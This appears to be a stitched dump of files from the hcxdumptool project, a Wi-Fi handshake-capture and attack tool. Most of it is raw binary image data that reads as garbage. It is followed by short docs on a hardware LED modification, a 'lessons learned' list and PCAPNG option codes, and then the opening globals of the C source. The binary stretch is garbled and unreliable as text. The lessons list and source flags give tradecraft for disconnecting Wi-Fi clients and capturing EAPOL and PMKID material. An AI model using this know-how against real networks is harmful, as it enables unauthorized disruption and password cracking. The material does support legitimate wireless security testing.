2#۴iS-,,GCX8ܠAQ֯_uV''SNihh|GА: gp7WAAA^^(-QN pp޽{VdffC zJ)~% 4,//߻woYYپ}+]`ȑJx)))܏U]ڋ/ikkϟ?WEuoIpo9kȑ#'N444n6c >nu5ҥ:'¿?d}hQHɓJq|A,|UXXUU]vD_pR/_vpcZIBCCJj"ܑ ) fqttTz]{QJsYYY[/JҥS{Q:ӧOU4ƪu#""?ީSӧϟ?СCսGFgϞe=brs.+ ./_u6l(//W(Rwkڴ).Wƍ`<A=[QBFꮭ[nnnSL_%¹s|8Bq)6v~==!C[zYr%[҄LP3eBpԨQ'Ntppщ ++)Sr|Ʀo߾;Z2?;x}N,o~Xz5n!&dvdz7SAj)Ծ\w}ǭ Ӈ#K.UZYm۶PEaIvX%U(w}z؜R ?' %dNqㆯ9744tqqٺu+gMMMB~v;&&F6D޵kW}}}PheesEn2TZ[[kjj֯_՞={ֹsgPشiS|7oͷl٢~kٲP(4112d۷qAW1 ]MJKK [nx777|qU+V/X2**Y[[[OOőWrvĉbnݺ[HB-Zr*,,=͊IN8j.KVL?%&&:L XYYM4I~ܔa4!XBHmIKKå*޴/djjSmbqJJ}mB>ZOH%O:kⓌf/W\\ƍsX, J0 =ڇ:JSSsYYY}SRRV\ F}#Gø-۷oq͜w!1$_Ç.[lχK$~8q{ewϞ=ׯ,򬭭_#Bף| $$$333AV&O}A_ӧOx񢬬fsB !BH-EB!2B!ZF !BH-B!QBF'0̲ej!_3gxzz⻒LMM{___|?y !YB>ѣᤄ8JTIIIyyymsP(EEE?܇Mk׮3fc͝;{\}R8*6q>}HpRB%d`fܸqd͛7200pwwzRf͚D"]]]{{YfeffrXZZ2 ŋ0KKK]]ݜe&===**k׮zq<|T(oݺ͛׺uk###Phmm\Bرc^۶m/_͙\T7yfatttqoee% \]]oY?0DFFvE___$9::n۶ 4hv6m"""`ڴiVVVrΜ9Rb%111?ݻЬ%!߾Bӳ0((H(={ԩSW\sN-dBBB>}޽{עEѣG+]v]pikkѣGgϞݹs͛|D{Yfĉ}}}?~ҥٳ^^^>>>}rr-[Əoff6`ѣG={ζuwwxWDDÇoܸaoo_K;vlddH$޽;OHHe}}}+-..=zӧO{Ѹqcqؿѣe2Y===322bbbbccO>w^a؎*..^dɖ-[ǎ{޽M67az͛7ѣ=rssرU:aĉqްaÆ*>x`޼y7oܱcG@@%K4h0gΜu֭ZJPZJM6?|8x{{Ǝ K.Uq8ckk=z_A@hhұ}QF%%%l⩩EFF'O`i&~444ؒ+VWtҥC脪2 Xpp0hjjr2ydcƌaΝ###B!w\TЦM l޼[,)) Sry~ ((HuIkZ٫fs,B!J544իW«Wݻ[nNAAǸB!#uy&MSSSǏ.Ōڵk8;ۨSN܏FFFЮ];fB6פID޽{e޽qgϪ_¿7Rɾ}xor8n;"JJJjNbӧ;w{Uz+5k|>s&\llѱx޽7 IDATpi <-- pRUbbbFF7ؠAJOdaaܼb].oݺJl*/KYjj*T(,,,p{Ϟ=C+ɓ',G홏";;+!!9**J$s:*W\/dPPPpp͛'LP !iJL?T100yV'5f̘{o^__|2$$DJ|>gT_UWZ1gqJ7HII|Odd$.WGn%) @BBBrrr֭l!T %d˦.$@WW:!!a޽qqq8=pMUUd2L~VKYYYuՕH$'O߿ݹs5??˗/tf8^͛OB!#_6|iůp& %%U`pBy*_JӲՅp.xq>} 6nܸbŊϐ@ddX,vppt->sNDC|zJw={~S̝TZyy9=2=='w]M><5?OٳG).HvܙUj,X啓^՞dWV[F޼ys$B %d֧O-ZΟ?$Ipppyyy߾}7oN1"J'MR'BӦM~Ν;)** cmΝ;]pBL!2i$mm+W_ d1c`êEOORSSذ&4˖-÷#G|||RRѣ+-ƌk?!䓡5d˦{nwwhggҋ/fdd4m|իs ۷0`D"9wεkל>lڵ666wt݋/֫WoΜ97od_tΝ;~Ѿ}XMÆ u떿۷ow}… ,[ƍ5؉#((_WWJ}&JgϞU qŚ6mP(l@!LB!|4BF!R(!#BeB!2J!Bj%dB!2B!ZF !BH-B!QBF!R(!#uqww͛۷om7BH]G !BH-O%00P,8qB!Ӭ򯥡Qۭ?~B!4kL$Ϛ5+33[֖aׯ{zz;; H$nɓ'[ZZ B;;otѢE |w*0LDDĽ{̄BͬYbJkȞ?0DFFvE___$9::n۶߿yFB!b$$$ݻw-Z=zB ݵkׅ ;vlѢE^?۷co:;;?}dذar<<<<..M6  UO?m4wws疖ر#444..ڵk,Ye˖c޻woӦMƍc& 3GQ?ǎ300P]BH NA#777(pliƌeeeбcGVZVBBvhjjy#s-[a$33EzzztRm;v, e666M6@>}ׯ@CCΎ=BXbo^oת:qƍ7V0!π,ɗɓϞ=333[r%o544V^y[nqtԉصkWccc\Nݻ-ZdddssM6٤ 'O SqTYY… ٓ 99YQk׮}?f5[N!)Kewww@cccGGk׮oߞC<\댌 իLmlliR=45_P.]Ν;=d2YII:ɓ's/ Wq7Hٰaç85!uPBF Oଥ++DLX 6T*Syy9|Rm۪5jH)VuRج)\r%%%E)xY8K!PBF %%% *~A,R߄X,*V.bŎޕH>^~lҤ ::ZiX+33ݻгgOkq; V|||9_bbbd27;vT%j, !ߍ2eӧO-rssϟP(0(HۼyjUZ|9x@NNGuyfǴ?FUB!4eI wvww vvv.--xbFFFӦM7o\ cǎ7oã4**gϞNNN[lQ &lܸɓ]v-**:qDAAA=ƌSh9?!54BFw ۷o?x𠑑?XqzСCwu >|`UAGݿѼyN>]7_(N!.cB̙3ǔ)S*tR 'BDS? ,--}6FB>/$QW-X ;;ٹvG!?FTPP^ڬY3WWWHtTHuVTB!(mmgϮZ>>>ĉr?11ͭ[G!俅B!2!#Be/'ˋkBTѣG; !Y3X\~”{{n!QBFȿ٦MN<ٱct|9!:2B мyGv!T֐>}I^zUUs BWWWoo 6TUhڵNNNBރ2BTr?lժ;&ɔ Θ1ݼys6m/_pBHt'OdffJR +++GGG8ȑ#סCӧϷ~K!$ |rս|WPPܹs޽!>}ncc͛P?|WBBBjj!俋F/ڵ_`qA޽LwQgY:H.Ei"RAXb]ňX^Ѩ(vA"Joy^.K~^ɜ).^̙ӭO岲y9;;oڴ޾}s {ڽ}_>88 S|ٲeIIIppppqq~E !!h8NQQÇo߾&//ߔV>|v횴> }Ȩ훯[B߽{WFFÇ @k  0o DK톆ܹs9"))nݺ :nooA;s玣T||i>aÆ;w +?~ll֭[nj:q}!/_tpp xzznٲEZZw555v8k֬˗ 2dٖ^Zp xj&%%gddP^tiCHIImݺu***Ǐ;vիW uŊ#F nذaÆ 6lի!d6l3gUիWGnnnI7n=z;<== ϒ%K @{lll~={hhhxyyeggׯ\ZZz1 >|XSS3((ݻ" y岊 sΥ>}}}=z :t*%L0CBrssu>}dhhHJ!***'OV  HJJ}/tBNРΩp8l6Ãҭ[Z:\[KMMn9Oɓ'!FFFիWX,dR隵5&dee_z-|y/ @믿\r„ ^y{~jii9`Em߾pqq100{%%%>>uT__ߕ+WbKWWݝ5Sue ݻN]][nzJ h"JJJL&311(,k͚5Ա8{nYYϟ??}TMKK?$$_"A8 ))o֭?evvvjjjMyi 2v޽{o߾]~=!$''O>={ɓ'sss80p@o^zY&;;,ĉ?C~~>;v)?B%%Mo$߃?@^xq˝fff666 u+OuhTWw7]t$DGG pB\\\떫QRs`\<=wYWVڶmӧϝ;׹s禤B***޽{#F>|x~~K+**Νnݺ)S̞=[WWW/m)r#`0؏֭[m۶lٲ:e̘1 )ӽ{w)))Bn@<%2{afUKQQQw:̐Wʕ+_x㓞ce%%#G?!{uUSSs͚5/_˔)S ,,,jڐ)w*JnSBnݺj*SSS''mtz3ONhu?ċTTTeCCpgg眜Dpjkky ?(j'P)`' @{o߾ݻwS7O5~Inn۷WX222s M ub]>}"R)Olg.)))GG;vɩٳ a7T$zzzԗ `0JJJ1XZRZZ! âhW;zYTUU@c9pBwYIIRPPӐȽ{-9r$!$++KX߻w Z0;ڟsss߽{GCBБ=zh׮]+Ww,FQQ֭[_fdd>>u'ɶmVUUehh=X,xEEŦMtBM/9rd޽ ~7nV]]b 6=j(,Y~,5FZZڞ={DQiѢE'N ƭ[}8{l]dd9s_zsκ9ڵko޼yʕROO***zYIIuEݥfnn>zhuuo߾|N9rt7o$$'֭[ߋzH9za?~SիrrrbHn}ikkSOp8UUUT)//߷o_nlwwwccc m۶ xiR1tWÒS?lexU*DE9ƫ|۷W^mii~2o޼ܹs"AX6---mIIIǎ~ `S?Q۷o4h}ll,10Cmwע[h#@ۂ5J脰d m(ϝ;pZfM%tfH@̰F %KQ!%2hmX%Kh=Xhf`{a?,Ya)0C5J&BB‡5J` k̀2Q42V^<|-}Gh5HV^w}faҦPhp8߸4kҫWJKK,&9 :$dMrL}_VSRRhRTR^mKj5%$e7 0:@)~('qi [NG8eCb p%!!3$db @̐21CB fH !!3$db @̐21CB fHLR@GP\\] E| IDATA*·ܺuYYLOeQ ^544et0$d AAAK.:ujW7#Sҕ+Wv-; &|{LԿ\VV&H@leˎ=*hCRQil A͚5K!@ ڨŋ((({zz~Uqf-uԩStҷo_DŽ .Sf),,tss} !!6[߾}<@8pÚ_X6g̘1ڵ+F[NTZiii1E |Hӫ_I155Nt H`Xׯ_www2$dЦ ><--g^^^ @Ȑ@IcX@p%i)))KLL5k֒%K!!NZZxϟ?WPP8yg0!!v`СǏ;aBBmGq… !L&Ճ!l6nnnuφ-++& a` ڜKJJJFDDY*ٳ TUUǎ+ 9fffGֶ477700qㆬ_" E/;wzbbbJJŋcbbƍ' {RmOZZZhh_xajjo߾ T!>E[*yfIϞ=Kqpp:$dDgϞ^?푞/++;uԺ***ƍ#ܼyOsjVJJPbnS#G_+))h4ٳg|3Νhu{IaٵhljjZSSsҥWY,օ $)xQ]vQ!---:1c4Z۷ 9M``7oΝ;˗/WRR 511iam_^rjԔph nذٳ+Wp(Ǐ&dn"X@6|pCCCyy3g>~wPOUU!5ejPWQQѣO:o󤦦fddHJJXlQ=iҥK555N i-%4xͳUUU5~?.YddǓQ]]o߾Yf-YDmGahhXTTt n!^f@BmZK>f@,TTTw% !u }}}#""!W^i;&iiicc˗?\AAɓola[`!wuҥ脐@[גh}Z/q+pUTTlڴյp֬Yl6u JyHΟ?NSӑf̘(pН2h7Z1ƆWQQs焐-\r]?ޣGhپ}#CxPL&Smu6vX6b._L^\HGMSCsrrBCCt:϶} BKt;>}ڪ[<8qé[^VVM;Om뢶_z5<<˗/x- a}TxyyB6l@G)((1cFmm9s<boo￳XYfQ:j?????ϟ?tRIIɈ5k֔S_|={vAAرcXwwUV5-Fupǚڕ'I>_zG.[ 7xIIIBȪU U?aBjqqqK#y岊!v(^h۷o_un%%%Bܚ;+_ZZʭ3w\BΝ;%L&:kĉ#^tQ<==o.[IUO>'t:!DQQfff"nV~:!N7mnJE+//_ 昙9rd*l3$db @̐21CB fH !!6r׮]STTTRR=|0w\-5kϟ?oa7ovpp֖766333""ŋ?~411}?qGmw)_`X,ĉVZɓÇX%KTVV6Eܹb-[,11$55ׯGڵkBB°aþ~mgUg ڜMMMㄐ}5Q\1YlL@@@BBUb OOϕ+Wa``3g!/^}Ԗ-[ӧC}`05 LH͹s2dH>\GGQQQ ڈQ=&1w  YF-?l٢C}YRRBh4ڳgwsNBg̘`Gر[xipŒÇ+(([{522rڴi*** ڿUUBLL FSQQ+>>АFeeeEFF;V]]]ZZhƍu~eź222ݻw(..;$d}bkk[5!͛7@q8pBȰaÄabbbbb"!d|-'%&&:::SN81x+W,X`̘1֭2dH3fdee !7n=z;<== ϒ%KJJJ|)6=k,naS?9B@YQQݥKÇ9s&))IJJjݺuG֔%$R<"## !jjj(IIIBHDDqZZUsɓ'SEEENNNQQQ۷o߻w@QxzzPcǎt钯*!?LNN633PVV&Ι3ի ׮a ڜRB{U،6bGQQQqss[f܈#=z4f̘pkȬ^zݺuann.!PH$$$!;vfc'N֎?BvJ:$$dP/p+/儐gϞEGG?<888%%LJMPP^=>}[GYYyuK!cǎŅR\\"8::򔨫*,,̬_M]]}BBm臘%j#pݿ j^b8pܜ*h6lpvvfXuA)++)777-{ 222HC jjjl"Pk94~5z:6$dYe5jp]wо())Qppp?Bbbb`X,ϥ N|6EM5UHU>.jF@Ba0x\>=8:R<==4n;T?&i6xP"V?̺Ck4`Nu:2U!䬝 xo/^)g2^" 8P a*uǏy.QKd8;;B!2ֿ۷ok<՚=}g!$99SH=zy>]V\\ljj*MmÇ-p8{{{A;ܵkNw^s_y\rSMC%UX]]=vvvԙ[n8qbTTbUUU<矧Mb̙S<%Kܾ}ڵk\nʕM***ݻjɧN:u*!d׮]TIYYْ%Kl;  mў={^| CCCKK˚`9s;:f}b^~駀Xi:NѮ^ڼe 'ftpnC%^%%%iii׮]~i}fsrr>~G{„ ;uԤ$BNLJJ}~``@rlv'v`HZׯZYYY.Z̙3˖-ӧU^XXy愄aÆ}VCC_emm]$--mŊ3gLNN֭{cǎq)((Bjjj?~￿z#Gl+ڴiSrrF:Kw޸kך 600̙3/=zBԖ-[ӧC5C##+WUTTYSS3ur{{ӧS!DZZzȑϞ=4iɜ7o^AAA_<>>MLLLLL$^O5sss###z"Dquu-%%KB2Mv xz*((r֬Yu|}}}}}'R55~ 7tB6:ϟ?'yfzפ+VZ%X6֭[ !۷ohueddOzQrss !*333$$K5bll̿7?VUU^5bDg-BB ѡ={駟CEE!.;;l/^Y^p8[EEӿWuqbTۼysRR;b% >|dɒf@cAT)d2<%666 lnn~-)) &!!f.nnpEFF7e^BB***%$$Zr:.!$))b222~RZZZssS\#G6mlB555޿oggǧ&uf,7ϟ/''wܹιXIABܹSQQ1h MMfw(!!`0>}܌ym:gg_~OBt>~ؽ{7-!dC Yrel/PB@ק#oo%d-1cƌ=.A(6sCmG̬Jdeety%""baa~vEݻ+W0TرcLk3E-Z{[Ӑɓ'Ss8/ =3d rڡ?m<<(eCQtj555Ʉ33+TWW;v2m4O۵kƍnemmMQUUٳÇ߸q2gΜj:_޽{„ Ԏ4&uֈ99/6 \YWnLT㷅XFQtv,|JA2Bof``dɒ`%%%--ZBζm/^,ALLL޼y3eʔoΚ5KJJ[nԑ׮]2NDYQz7<6f9sӧ޽Kx IDAThhhhee5z)S e _|y+W~:77hhh8;;O8ͭ3l $d$]GMMM/////Tjs}$%%]]]]]]QW^nm621CB fH !!3$db @̐2*..:u*F^`uuuvq ˗OMMMRRRII|…O<_944eee[[۝;wԭ_UUEUxuJKK?ʪo޼y=ߺ76WJJ@É *=;wOW|͚5Nֈ 000(((HHHHHH8sĉ/\- KKK555QQQQQQO~𡉉I.[JtttΟ?64ݻKl6[ZZ)r 6\we5⎢l>,eD; ~~7Bx*ǛB\]] !ǎkɈ _~ee?z7%))ӓNBFfBBB! ;| %Iee%BDEEխ| |ĈaaaL&*/..>s iii4B} Ҧ7i d ǎ2dHLLѣpO>|ؔ._LѢ?Χ=<<!w2dBTTT~嗨={ϛ7eoZJYYWb @$lC>+t={|բEL$%esYBYuƎӯ_4ciiGy j555?pF_AGGҥKGDDѷ{6mڔm6>;&$d"믿rg4fsssa wƍZMM͙3gеkWz"ɼ~:!d͚5|GkkaÆB[נ'O]жbMmZ߾}}}}%$C$8::6:&tB9XAitmĈ=jty<==Y,!w:ccիW7Z-77bhh(ѯ\RXX(!!AMnZVV[n{np$|2$$j„ B !***!ϳӠAx a27oܶm!d…ݻw^ej5)**B)={B֮]+[2@CCRVVSd2srrx /ꕗ72eʔ6c:Hff۷'O,ܞ[ 2'<=z{DLLL`$$$lll_h4޽{O}ZVV֌S^xѼMMMuuusrrBBBVX&uhsUBȸqmk± ơCZyh iӦB8#BHttǏ !TNNNBBmeH:999AC۷o~ulE1xbU—/_!ӦMkpʹٞ={Fݻw]$HڸT??\nѣkjjƎ~z0JQQQ@@Nn'NpСCqکE޿i놮 3QQNJ܁-#鎲!@\hByEI`!!3$db @̐21CB fH !!3$db @̐21CB fH !!3$db @̐21CB fH !!3$db&)7ccnݺ;vf'%%KLׯ"_|IJJRPPӧO[ÇL&Edd?ޚ⎈&%%u޽-f~*))/!ׯyU| G~LSjI<<gϞ---{ ,PVV>qP|YF}>[NYYyu@Qٲeccc^JNN޼yGEEE DH@BBB444ԉݻZA?L&.;;OSNihhy[n<+ 144>>"x{{O:U&^^^K.Q<ݻmwrrjɠ>7Gֶ$*>˵$33SUU5??_бL;_޿/hs@Bu-)d_xJQVVvrrׯUmڵpMw҅&N(66VWW7ND!+)) ˗" |R&]t)//QH&M:~@Mjkk555[?![~Ν;/9RVsٿ@Mw!!VaB\ݽnXYYI5OKKky<-,,m#x!qqq hFÁ [_||e3ZYY =BHzzF׮]mhii+L0`B"IBlllt7 :P !Bٴiӝ;w֭[S޳gOBHuu5˗/ !Ç96sҥ4-""#5#Tee咒f4uȑ˗/_pȑ# u 3339rO>=rHppp#GDEEqK?ny]VV"]{ͫ+JJJZYY Ԫc:tϟ߼y#PC͙3GD![XX ӓ'O n222'O>u@._lnn^^X̙s Ǐ..." iƌgΜIQQэ7]\]]/]3gQH"!6+++۰adCCCLmmq988?"СJyyyM?짶o߾>=:v옽}OZݻwg0M#:}QYY)r0 CC.Ruuׯ_7ѣ㏖ 2ջwolٲ%K$F?~MfG9dʐ?W^%(++d}?ܵkWYYY333oojj>}4+F)S,aݺuM#葼0wiӦ5U]]cQk׮7 `O>S[[ѷo&nЗ/_׭[9<g+T^^ngg7cƌJ>Պ:iҤVHlې!C T9sH'6nhnnɿ~vvv k4!p8ǎmQF<^Çjjj<_իW/^lXH@,d2$>>Ţ6=zOdLe;v:tP?zló;_6ʪoVQQ[-iӦo^pAOOo=ϱ%Lڵkuuu/\Pl6ݻ['lG 66vĈ jXMI8N@@֭[}Vjzzadcjkkڻǻ2#" ( (>6h릛`3Kӄkv6]u]SRm$\# (1||?|ҁy9s%KӵWV(&om Bt<ɏ˗WZoܞh)pūVz#}2R~~'233뭬&Oly7TXXxqFS^^޷o_wwSvJ30>TTT_x7z9x' /LJJ2>> HOO=zt  2牙#F @  @0`2d#} =z֭ۡCZj6l߿mۦ "33s޼yCݻ]@@֭[ܹ#/<(zn?GZv޼yf`Fӷoq577&''=zG]-ܧCEFFtUTT$%%%%%>|8>>*p 툎uttl_h4&M*((HHHÇ~׷ =N{oܸomm}>@tx ڹs{pɓ'UZZ{=zprr2l裏$IzwX/ZYY6N>}ҥ$;vLhwxP_ 7+cǎ{ꫦɓ':iӦ9;;'''wU9&Lzꘘnݺ>fIJJJ !ٲeg۽iii$?./"55ݽ5k֬Yf^QQ!IKw aYdɒv\rE!Ceh`'IIDATܚBVw"ɊSSSz+]֭[.\(((hllttt۷/]W__T*jؖdYrJVVVccc>}<==^|W^jgOoW^ޖhIo$=ӝ~p-ݛ|OܼyS$;; kjj8uQQџ+ __~UUUeddt9s+JҌ>hdY>r;3닋_xK]ViӦǏٳ,55i?|?iӦ6lᶶeee{ ,jnQ|'|rm___++tI̙tv(V׿u~~~ t<̲eܺ%Y;m۶Z=hР;w\z駟^lȑ#;toV?ta$,/,Iҟ[%I:x-ƍ$m׭['Io[SkoolٲV233-ZT*oa4%%%3f=tН;wZjnn 벖t:G''[VWWܥO:5k,oo.kIoذ~ڵ%%%<...qqq]֒,˟}J7o^ZZZ]/vppسgOg.gxٳg=<[~ʕ+7ojE]vmʔ)ohhh7pppxWo߾)۸qcn Evvv'dYϝ;׽{I&5776M4I{=ªU$I?I]tȑ#srr:fx*,,xZEz-[T*F邖nݺ5eʔVQ󟎎'O삖z}ddd@@@QQQN蘙i関Z=GfffTxKtWW׫WsdIIΝ;Rr444K+))2d1ɛ"""|IU]]=}tIFu5@?$iСlф {=Y _Wd̙$رȓ(+W9󎎎]$~qVXSO?_6βI8V>;vx-zeeeFsuuk-+++srrP(7UL >F|РAϟϖ:OZ>>>3D~~~$͜9͛f2o=khx ߻w$IpΝHt%#O:w 6… _{5J畕988t|[n999YTss#L}ãuV``$I=@ 'eYYY٧Onݺ맟~*IG߿eeIdff8И`ߌ]˗/_r%eӣG6j׮]aaaGׯ0ѤSNX&J'LJ'muƏW_t4Np~7mdjOf̙3G~0I`g}ذŋ[111Fܹs~~~&}ȑ666/_6EEE:nݺĖZ ϢmrMnjWvJwjjٳ]&U޸q-]tή;0h ooV/RSShf̘aRU޽CCCK$I_fjUXXX{߳gϐ!C>c+ٸq 'L0nܸqݸq矟;w;vg2XõrcAAAllllllgΜ=zhˍmN3M%##*Wkj]QQ%Z=zUݺu̴DKYYY+jѭ^%++KVB__ʭ[̘w̘1&->i)SBL%&iwԩ-[۷OkҤI .4 uuuwW5J2V5ۖGQT* 3wQhoo_WWHT[[k \;AOp{C,QUUP(8S^^tRRZ_Ə7V)//FS{LE O:tP{rʕ+W}dkkj3 ;kvﱶ2k,Ynw}V/^j}Z՚ZUWWg;644QXSScmmHdcccjmmm~:I̋zᕋ/6ͲM;歴QWWgcccv?5O)))f\ܲv1bD}%S44b3qkkk+**]&yyyw1++B \zzzkvv葞6}ڽdvKYYYÇ7 EKKKM-ζPK @PPPJJQ KJJԪǏXI3}ĉ@ -9eʔ'O@ZZ2q BTUWWbX09;;;88T%7|3uTK$IR``'Lo&Ol~!AB'TFDDB]=3.++3?~gMvմ4bcc{9 4bWWÇ|Z={Mڽ{wHHa?K;wnGVVVf&&&<n8k77z#ǧ888~BaF.jd*RjxN7jԨSvf//C_n ,[,88ؘ:+++GwAW8uuuC|aRYRRbіLb¦JܹsmIyEDD455s7܌Y<>mذᡇ2&&jɓ'VyVZZj直lyrssm6OOφKwt:ijjz'BBB***:VPP/vYc8...7nx9۷T*OeeejzѢEo`ةST*y+JM6-,,aÆ [vm###'MT\\S>Ƥ{yyeeeu0FFFFXtϻݫR;~mJedt~ndW_U*mWVVn޼/ƲYfqZ}ر//^

>|xDDߑ#G^yvޝ?~ԩ[ neG~3gL0ѱ$333%%GQբ{{ٺukIIIPPGsssQQQRRR^,Y`M?S9qӧYYY^z_bRN>fFikk[YYy…7nnn]RJJʺuΞ=kccjϜ93vصkֽJׯ?rĉǎۿ<÷֬Ycƚ]|7T*C~m]]-Zdu.@ EEEř3grrrjjj ȑ#:kJ^^^rr? 4vQFmիΝ+((hllT*cƌ8qb޽TRRr̙+W+QF[hX#~wYYY VVVޓ'Ovqq͛7˗/gذaAAAb?yŋKKK{:iҤ֠/ @0>RF @  @0`2d#F @  @0`2d#F @  @0`2d#F @  @0`2d#F @  @0`2d#F @  @0`2d#F @  @0`2d#F @  @0`2d#F @  @0`2d#F @  @0`2d#F @  @0`2d#F @  @0`2d#F @  @0`2d#F @  @0`2d#F @ l]nzIENDB`hcxdumptool-6.3.5/docs/hardware-mod.md000066400000000000000000000006421471436103500177250ustar00rootroot00000000000000# Hardware Modification - See /docs For More Info When using this hardware modification, the LED will flash every 10 seconds if everything is fine and signals are received correctly. To terminate manually, press the push button for at least 10 seconds until LED turns on. (The LED will also turn on if hcxdumptool terminates.) Afterwards, the Raspberry Pi can be turned off and disconnected from it's power supply. hcxdumptool-6.3.5/docs/lessons_learned.txt000066400000000000000000000025541471436103500207560ustar00rootroot00000000000000Lessons learned (to be continued) -------------- a beautiful status output make the attack tool slow and sluggish too many features make an attack slow and sluggish response time behavior becomes very bad on big ringbuffers transmitting too many packets makes a channel busy a Raspberry Pi is not able to handle more than one interface at the same time multiple interfaces interfere with each other pselect doesn't like to be interrupted by another timer epoll is a better solution than pselect timerfd in combination with epoll is easier to handle than comparing timestamps active monitor require to set virtual MAC on interface - that is too slow setting a short preamble in radiotap header is ignored on tx entire AUTHENTICATION process should be done using a low data rate of 1.0 Mb/s and a low bandwidth there are (much) better ways than injecting stupid DEAUTHENTICATION frames to disconnect a CLIENT the most useful EAPOL frame is an EAPOL M2 frame(!) NL80211 provide a lot more features than WIRLESS EXTENSIONS NL80211 / RTNETLINK protocol can be used without libnl dependency sharing the interface (e.g. iw phy phy1 interface add mon0 type monitor) is counterproductive TX power is (completely) meaningless - RX sensitivity and a good antenna is all it is a thousand times faster using a Berkeley Packet Filter (BPF) than walking through endless filter lists hcxdumptool-6.3.5/docs/option-codes.md000066400000000000000000000011551471436103500177560ustar00rootroot00000000000000# PCAPNG Option Codes (Section Header Block) ENTERPRISE NUMBER: 0x2a, 0xce, 0x46, 0xa1 MAGIC NUMBER: 0x2a, 0xce, 0x46, 0xa1, 0x79, 0xa0, 0x72, 0x33, 0x83, 0x37, 0x27, 0xab, 0x59, 0x33, 0xb3, 0x62, 0x45, 0x37, 0x11, 0x47, 0xa7, 0xcf, 0x32, 0x7f, 0x8d, 0x69, 0x80, 0xc0, 0x89, 0x5e, 0x5e, 0x98 OPTIONCODE_MACMYORIG: 0xf29a (6 byte) OPTIONCODE_MACMYAP: 0xf29b (6 byte) OPTIONCODE_RC: 0xf29c (8 byte) OPTIONCODE_ANONCE: 0xf29d (32 byte) OPTIONCODE_MACMYSTA: 0xf29e (6 byte) OPTIONCODE_SNONCE: 0xf29f (32 byte) OPTIONCODE_WEAKCANDIDATE: 0xf2a0 (64 byte) == 63 characters + zero OPTIONCODE_GPS: 0xf2a1 (max 128 byte) hcxdumptool-6.3.5/hcxdumptool.c000066400000000000000000005623521471436103500166260ustar00rootroot00000000000000#define _GNU_SOURCE #include #include #include #if defined (_POSIX_VERSION) #include #endif #if defined (__GLIBC__) #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if defined (_POSIX_VERSION) #include #include #include #endif #ifdef HCXWANTLIBPCAP #include #endif #include "include/types.h" #include "include/byteorder.h" #include "include/hcxdumptool.h" #include "include/ieee80211.h" #include "include/pcapng.h" #include "include/radiotap.h" #include "include/raspberry.h" /*===========================================================================*/ /* global var */ static bool deauthenticationflag = true; static bool proberequestflag = true; static bool associationflag = true; static bool reassociationflag = true; static bool activemonitorflag = false; static bool vmflag = true; static bool beaconoffflag = false; static u16 wanteventflag = 0; static u16 exiteapolpmkidflag = 0; static u16 exiteapolm4flag = 0; static u16 exiteapolm3flag = 0; static u16 exiteapolm2flag = 0; static u16 exiteapolm1flag = 0; static int gpiostatusled = 0; static int gpiobutton = 0; static pid_t hcxpid = 0; static unsigned int seed = 7; static int fd_socket_nl = 0; static int fd_socket_rt = 0; static int fd_socket_unix = 0; static int fd_socket_rx = 0; static int fd_socket_tx = 0; static int fd_timer1 = 0; static int fd_pcapng = 0; static u8 rdsort = 0; #ifdef HCXSTATUSOUT static long int wecbcount = 0; static long int wepbcount = 0; static long int widbcount = 0; static long int wshbcount = 0; #endif #ifdef HCXNMEAOUT static int fd_gps = 0; static int fd_hcxpos = 0; static bool nmea2pcapflag = false; static long int nmeapacketcount = 0; static long int wecbnmeacount = 0; static long int wgpwplcount = 0; #endif #ifdef HCXDEBUG static FILE *fh_debug = NULL; #endif static struct sock_fprog bpf = { 0 }; static int ifaktindex = 0; static u8 ifaktstatus = 0; static u8 ifakttype = 0; static frequencylist_t *ifaktfrequencylist = NULL; static char ifaktname[IF_NAMESIZE] = { 0 }; static u8 ifakthwmac[ETH_ALEN] = { 0 }; static u16 nlfamily = 0; static u32 nlseqcounter = 1; static size_t ifpresentlistcounter = 0; static size_t scanlistindex = 0; static frequencylist_t *scanlist = NULL; static interface_t *ifpresentlist; static aplist_t* aplist = NULL; static aprglist_t* aprglist = NULL; static clientlist_t* clientlist = NULL; static maclist_t* maclist = NULL; static u64 lifetime = 0; static u32 ouiaprg = 0; static u32 nicaprg = 0; static u32 ouiclientrg = 0; static u32 nicclientrg = 0; static u64 replaycountrg = 0; static struct timespec tspecakt = { 0 }; static u64 tsakt = 0; static u64 tsfirst = 0; static u64 tshold = 0; static u64 tottime = 0; static u64 timehold = TIMEHOLD; static int timerwaitnd = TIMER_EPWAITND; static u32 errorcountmax = ERROR_MAX; static u32 errorcount = 0; static u32 errortxcount = 0; static u32 watchdogcountmax = WATCHDOG_MAX; static u32 attemptapmax = ATTEMPTAP_MAX; static u32 attemptclientmax = ATTEMPTCLIENT_MAX; static u64 packetcount = 1; static u64 packetrcarxcount = 0; static u64 packetrcatxcount = 0; static size_t proberesponseindex = 0; static u32 proberesponsetxmax = PROBERESPONSETX_MAX; static u64 beacontimestamp = 1; static rth_t *rth = NULL; static ssize_t packetlen = 0; static u8 *packetptr = NULL; static u16 ieee82011len = 0; static u8 *ieee82011ptr = NULL; static u16 payloadlen = 0; static u8 *payloadptr = NULL; static ieee80211_mac_t *macfrx = NULL; static u8 *llcptr = NULL; static ieee80211_llc_t *llc = NULL; static u16 eapauthlen = 0; static ieee80211_eapauth_t *eapauth; static u16 eapauthpllen = 0; static u8 *eapauthplptr = NULL; static u16 eapolpllen = 0; static u8 *eapolplptr = NULL; static ieee80211_wpakey_t *wpakey; static ieee80211_pmkid_t *pmkid; static u16 keyinfo = 0; static u8 kdv = 0; static enhanced_packet_block_t *epbhdr = NULL; #ifdef HCXNMEAOUT static ssize_t nmealen = 0; static ssize_t gprmclen = 0; static ssize_t gpggalen = 0; #endif static ieee80211_mac_t *macftx = NULL; static u16 seqcounter1 = 1; /* deauthentication / disassociation */ static u16 seqcounter2 = 1; /* proberequest authentication association */ static u16 seqcounter3 = 1; /* probereresponse authentication response 3 */ static u16 seqcounter4 = 1; /* beacon */ /*---------------------------------------------------------------------------*/ #ifdef HCXNMEAOUT static const char gpwplid[] = "$GPWPL"; static const char gptxtid[] = "$GPTXT,"; static const char lookuptable[] = { '0', '1', '2','3','4','5','6','7','8','9','a','b','c','d','e','f' }; #endif /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ static const u8 beacondata[] = { /* Tag SSID: WILDCARD */ 0x00, 0x00, /* Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6(B), 9, 12(B), 18, [Mbit/sec] */ 0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x8c, 0x12, 